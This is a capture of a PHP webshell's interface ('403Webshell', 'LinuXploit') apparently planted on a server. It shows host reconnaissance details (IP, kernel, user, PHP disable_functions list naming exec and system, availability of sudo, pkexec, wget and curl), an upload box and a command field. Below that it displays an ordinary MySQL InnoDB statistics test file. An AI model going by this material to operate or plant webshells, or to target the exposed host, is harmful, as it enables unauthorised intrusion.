403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.208.58
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb/t/innodb_stats_auto_recalc_ddl.test
#
# Test the persistent stats auto recalc during DDL
#

-- source include/have_innodb.inc

-- vertical_results

-- let $check_stats1 = SELECT n_rows FROM mysql.innodb_table_stats WHERE table_name = 'arddl' ORDER BY 1
-- let $check_stats2 = SELECT index_name, stat_name, stat_value FROM mysql.innodb_index_stats WHERE table_name = 'arddl' AND index_name = 'PRIMARY' ORDER BY 1, 2, 3

# Test ADD INDEX during background stats gathering

CREATE TABLE arddl (a INT, b INT, PRIMARY KEY (a)) ENGINE=INNODB;

INSERT INTO arddl VALUES (1, 10);
INSERT INTO arddl VALUES (2, 10);

ALTER TABLE arddl ADD INDEX (b);

# wait for the bg stats thread to update the stats, notice we wait on
# innodb_index_stats because innodb_table_stats gets updated first and
# it is possible that (if we wait on innodb_table_stats) the wait cond
# gets satisfied before innodb_index_stats is updated
let $wait_condition = SELECT stat_value = 2 FROM mysql.innodb_index_stats WHERE table_name = 'arddl' AND index_name = 'PRIMARY' AND stat_name = 'n_diff_pfx01';
-- source include/wait_condition.inc

# the second INSERT from above should have triggered an auto-recalc
-- eval $check_stats1
-- eval $check_stats2

DROP TABLE arddl;

# Test DROP INDEX during background stats gathering

CREATE TABLE arddl (a INT, b INT, PRIMARY KEY (a), KEY (b)) ENGINE=INNODB;

INSERT INTO arddl VALUES (3, 10);
INSERT INTO arddl VALUES (4, 10);

ALTER TABLE arddl DROP INDEX b;

let $wait_condition = SELECT stat_value = 2 FROM mysql.innodb_index_stats WHERE table_name = 'arddl' AND index_name = 'PRIMARY' AND stat_name = 'n_diff_pfx01';
-- source include/wait_condition.inc

-- eval $check_stats1
-- eval $check_stats2

DROP TABLE arddl;

Youez - 2016 - github.com/yon3zu
LinuXploit